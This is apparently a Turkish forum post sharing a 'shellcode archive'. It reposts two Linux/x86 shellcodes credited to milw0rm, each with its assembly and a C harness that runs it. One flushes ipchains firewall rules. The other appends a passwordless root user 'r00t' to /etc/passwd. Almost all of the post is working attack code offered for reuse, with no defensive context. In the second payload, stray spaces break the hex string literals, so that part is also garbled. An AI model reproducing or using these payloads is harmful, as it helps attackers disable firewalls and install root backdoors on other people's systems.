shel codeleri büyük arşiv

linux/x86 /sbin/ipchains -F 41 bytes

* 41 byte shellcode to flush ipchains for Linux x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
*
* push byte 11
* pop eax
* xor edx, edx
* push edx
* push word 0x462d
* mov ecx, esp
* push edx
* push word 0x736e
* push 0x69616863
* push 0x70692f6e
* push 0x6962732f
* mov ebx, esp
* push edx
* push ecx
* push ebx
* mov ecx, esp
* int 0x80
*/

main()
{
char shellcode[] =
"\x6a\x0b\x58\x31\xd2\x52\x66\x68\x2d\x46"
"\x89\xe1\x52\x66\x68\x6e\x73\x68\x63\x68"
"\x61\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73"
"\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" ;

(*(void (*)()) shellcode)();
}

// milw0rm.com [2006-11-17]




linux/x86 add root user r00t with no password to /etc/passwd 69 bytes



* 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
*
* for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; open("/etc//passwd", O_WRONLY | O_APPEND)
*
* push byte 5
* pop eax
* xor ecx, ecx
* push ecx
* push 0x64777373
* push 0x61702f2f
* push 0x6374652f
* mov ebx, esp
* mov cx, 02001Q
* int 0x80
*
* mov ebx, eax
*
* ; write(ebx, "r00t::0:0:::", 12)
*
* push byte 4
* pop eax
* xor edx, edx
* push edx
* push 0x3a3a3a30
* push 0x3a303a3a
* push 0x74303072
* mov ecx, esp
* push byte 12
* pop edx
* int 0x80
*
* ; close(ebx)
*
* push byte 6
* pop eax
* int 0x80
*
* ; exit()
*
* push byte 1
* pop eax
* int 0x80
*/

main()
{
char shellcode[] =
"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\ x68"
"\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\ x66"
"\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\ xd2"
"\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\ x68"
"\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\ x6a"
"\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";

(*(void (*)()) shellcode)();

paylasım ıcın sagol